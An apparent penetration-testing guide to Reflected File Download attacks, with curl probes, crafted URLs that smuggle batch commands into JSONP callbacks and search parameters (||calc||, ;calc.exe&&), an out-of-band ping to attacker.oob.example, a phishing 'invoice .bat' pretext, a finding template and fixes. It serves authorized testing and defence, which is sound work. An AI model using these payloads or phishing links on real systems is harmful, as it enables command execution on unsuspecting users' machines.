Identifying and exploiting Reflected File Download (RFD) where an endpoint reflects attacker-controlled input into a downloadable response with an attacker-controlled filename and extension, enabling command execution on the victim's machine when the file is run.
Identifying and exploiting Reflected File Download (RFD) where an endpoint reflects attacker-controlled input into a downloadable response with an attacker-controlled filename and extension, enabling command execution on the victim's machine when the file is run.
During authorized penetration tests of applications that reflect user input into responses (especially JSON/JSONP APIs)
When an endpoint accepts a value (callback, query param, search term, username) and echoes it into the response body
When the URL path or a parameter can control the filename and extension the browser uses when saving the response
For validating that downloads are forced to safe filenames/extensions and proper Content-Disposition handling
During bug bounty programs targeting RFD, which chains reflection + content-disposition + permissive routing into client-side command execution
Prerequisites
Authorization: Written penetration testing agreement covering social-engineering/client-side payloads
A modern browser matrix: RFD behavior depends on browser download handling (test Chrome, Edge, and IE-derived behaviors)
A controlled victim VM (Windows): To safely detonate .bat/.cmd payloads
Burp Suite or curl: For crafting requests and inspecting Content-Type/Content-Disposition
Understanding of the three RFD conditions: reflection, filename control, and permissive content handling
Critical: Checks Most Often Missed
RFD requires three conditions to line up; testers miss it because each looks
harmless alone. Confirm all three, then weaponize:
(1) Reflection of raw input into the body. The endpoint must echo your
input largely unescaped — JSON APIs and JSONP callbacks are prime, e.g.
{"q":"<your input>"} or yourCallback({...}). The reflection does not need
to be HTML; it just needs to start the file with valid shell content.
(2) Filename + extension control via the URL. Browsers often derive the
saved filename from the last path segment. Append a path suffix like
/setup.bat or use ;/filename.bat, %2Ffilename.bat, or a
download=...bat param. Test whether the trailing path is ignored by routing
but used by the browser for the filename — the classic RFD gap.
(3) Permissive content handling. Missing or weak Content-Disposition
(no filename= / not attachment), served
without , or any setup that lets the browser save the response as an
executable extension.
Content-Type: application/json
nosniff
Leading command callback in the reflection. The reflected value must be
first on the line so the .bat is valid, e.g. prefix with ||calc|| or
;calc.exe&& — {"q":"||calc||..."} ignores the JSON wrapper as a label and
runs your command.
JSONP callback is the cleanest sink.?callback=||calc|| yields
||calc||({...}) which, saved as data.bat, executes calc. Always probe the
callback/jsonp/cb/func parameter.
Batched commands & quoting. Chain with &, &&, |, || and quote to
survive the reflected JSON punctuation, e.g.
||calc&&ping%20attacker|| to prove arbitrary execution.
X-Content-Type-Options: nosniff is NOT a full fix. It mitigates some
cases but RFD still works when the filename/extension is attacker-controlled
and the user runs the file. The real fix is forced filenames + attachment.
Confirm in a browser, not just curl. The vulnerability is the browser's
save-as-name and the user running it — curl confirms reflection and headers,
but detonation must be validated by actually downloading and executing.
Workflow
Step 1: Find Reflective Endpoints
Locate endpoints that echo input into the response body.
# Hunt for reflection in JSON / JSONP / API responses through Burp history.# Inject a unique marker and grep for it verbatim in the response:
MARK="rfdMARK1337"
curl -s "https://target.example.com/api/search?q=$MARK" | grep -o "$MARK"
curl -s "https://target.example.com/api/profile?name=$MARK" | grep -o "$MARK"# JSONP callbacks are ideal — the callback name is reflected at the very start:
curl -s "https://target.example.com/api/data?callback=$MARK" | head -c 200
# Expect: rfdMARK1337({"status":"ok", ...})# Note the response headers (this decides exploitability):
curl -s -D - "https://target.example.com/api/data?callback=$MARK" -o /dev/null
# Inspect: Content-Type, Content-Disposition, X-Content-Type-Options
Step 2: Test Filename / Extension Control
Determine whether the browser will save the response with an attacker-chosen executable name.
# (a) Trailing path segment — does routing ignore /anything.bat while the# browser uses it as the download filename?
curl -s -D - "https://target.example.com/api/data/setup.bat?callback=foo" -o /dev/null
# 200 OK with the same body => path suffix ignored by app, used by browser# (b) Matrix/semicolon and encoded-slash variants:
https://target.example.com/api/data;/setup.bat?callback=foo
https://target.example.com/api/data%2Fsetup.bat?callback=foo
https://target.example.com/api/data/x.bat;jsessionid=1?callback=foo
# (c) A download/filename parameter, if present:
https://target.example.com/export?download=invoice.bat&q=foo
# (d) Check Content-Disposition: if it sets a fixed safe filename you are# blocked; if absent or attacker-influenced, RFD is viable:
curl -s -D - "https://target.example.com/api/data/setup.bat?callback=foo" \
-o /dev/null | grep -i content-disposition
Step 3: Craft the Leading-Command Reflection
Make the reflected input the first bytes of a valid Windows batch file.
# JSONP: the callback is reflected first, so a batch command runs before the# parser ever sees the JSON. Saved as setup.bat, this launches calc:
https://target.example.com/api/data/setup.bat?callback=||calc||
# Resulting downloaded file (setup.bat) content:# ||calc||({"status":"ok", ... })# cmd.exe treats ||calc|| as: (run nothing) || calc || (run nothing) => calc runs# Reflected-search variant where input lands inside JSON:
https://target.example.com/api/search/report.bat?q=;calc.exe&&
# File content:# {"q":";calc.exe&& ...","results":[]}# The leading ;calc.exe&& executes; the JSON remainder errors harmlessly.# Batched commands to prove arbitrary execution (use benign markers):
?callback=||calc%26%26ping%20-n%201%20attacker.oob.example||
# decoded: ||calc&&ping -n 1 attacker.oob.example||
Step 4: Confirm Download Behavior in a Browser
Validate that the browser saves the attacker-named file and that it executes.
# On the victim VM, open the crafted URL in the target browser:
https://target.example.com/api/data/setup.bat?callback=||calc||
# Observe:
# - The download is offered as "setup.bat" (attacker-controlled name)
# - Content-Disposition does not force a safe name / extension
# - Running the downloaded setup.bat launches calc.exe
# Record the browser + version, since download-naming heuristics differ:
# - Chrome/Edge: filename from final path segment when no C-D filename
# - IE/legacy: historically the most permissive for RFD
Step 5: Build the Delivery / Social-Engineering Chain
Demonstrate realistic impact: a link that appears to originate from the trusted domain.
# The exploit URL is on the TRUSTED target domain, which is what makes RFD
# convincing — the victim sees target.example.com and a familiar-looking file.
Phishing pretext example:
"Download your invoice: https://target.example.com/api/data/Invoice_2024.bat?callback=||calc||"
# Optional: URL-encode the payload and use a shortener-free, on-domain link so
# URL filters and the user both trust the origin. Document the full kill chain:
# trusted-domain link -> browser saves Invoice_2024.bat -> user runs it ->
# leading command executes -> attacker code runs in the user's context.
Key Concepts
Concept
Description
Reflection
The endpoint echoes attacker input into the response body (JSON/JSONP ideal)
Filename control
Browser derives the saved filename from a path segment or parameter the attacker sets
Permissive content
Missing/weak Content-Disposition or sniffable Content-Type allows saving as .bat/.cmd
Leading command
Reflected value placed first so the file is a valid batch script (`
JSONP sink
?callback= reflects at the very start of the body, the cleanest RFD primitive
Trusted-origin delivery
The exploit URL is on the real target domain, increasing victim trust
Batched commands
&, &&, |, || chain multiple commands within the reflected line
Confirm reflection, filename routing, and Content-Disposition/Content-Type headers
Chrome / Edge / legacy IE
Validate browser-specific download naming and execution behavior
Windows victim VM
Safely detonate .bat/.cmd payloads and confirm command execution
Burp Collaborator / interactsh
Confirm batched command callbacks (ping/nslookup to OOB host)
Common Scenarios
Scenario 1: JSONP API RFD
An analytics endpoint /api/data?callback=... reflects the callback at the start of the response. Requesting /api/data/update.bat?callback=||calc|| causes the browser to save update.bat; running it executes calc.exe in the victim's context.
Scenario 2: Search Reflection with Path-Based Filename
A search API reflects q into JSON and ignores trailing path segments. /api/search/report.bat?q=;powershell ...&& downloads report.bat whose leading command runs a PowerShell cradle.
Scenario 3: Missing Content-Disposition on Export
An export endpoint returns JSON with no Content-Disposition. The attacker controls the path filename, so /export/Statement.cmd?... saves as an executable that runs on double-click.
Scenario 4: Permissive Routing + nosniff Present
Even with X-Content-Type-Options: nosniff, attacker-controlled filename/extension plus user execution yields RFD, because the user runs the file regardless of MIME sniffing.
Output Format
## Reflected File Download Finding
**Vulnerability**: Reflected File Download (RFD)
**Severity**: High (CVSS 7.5)
**Location**: GET /api/data/{filename}.bat?callback=...
**OWASP Category**: A03:2021 - Injection (client-side command execution)
### Reproduction Steps
1. Confirm reflection: GET /api/data?callback=rfdMARK1337 echoes the callback at body start
2. Confirm filename control: GET /api/data/setup.bat?callback=foo returns 200 with same body
3. Confirm headers: no Content-Disposition: attachment with a fixed filename
4. Weaponize: open https://target.example.com/api/data/setup.bat?callback=||calc|| in Chrome
5. Browser saves setup.bat; executing it launches calc.exe
### Conditions Met
| Condition | Status | Evidence |
|-----------|--------|----------|
| Reflection of input | Yes | callback echoed verbatim at body start |
| Filename/extension control | Yes | /setup.bat path segment used as download name |
| Permissive content handling | Yes | no attachment Content-Disposition; sniffable type |
### Downloaded File Content (setup.bat)
||calc||({"status":"ok","data":[]})
### Impact
- Arbitrary command execution on the victim's machine when the file is run
- Delivery from the trusted target.example.com origin defeats user URL scrutiny
- Batched commands confirmed via OOB callback (ping to attacker.oob.example)
### Recommendation
1. Force downloads with Content-Disposition: attachment; filename="data.json"
and a fixed, safe extension the application controls.
2. Reject or sanitize trailing path segments and download/filename parameters.
3. Refuse callback/JSONP names that are not strict identifiers
(^[a-zA-Z_$][a-zA-Z0-9_$]*$); disable JSONP in favor of CORS where possible.
4. Set Content-Type: application/json and X-Content-Type-Options: nosniff.
5. Prefix reflected JSON bodies with an anti-execution guard
(e.g. )]}',\n) so the file is never a valid script.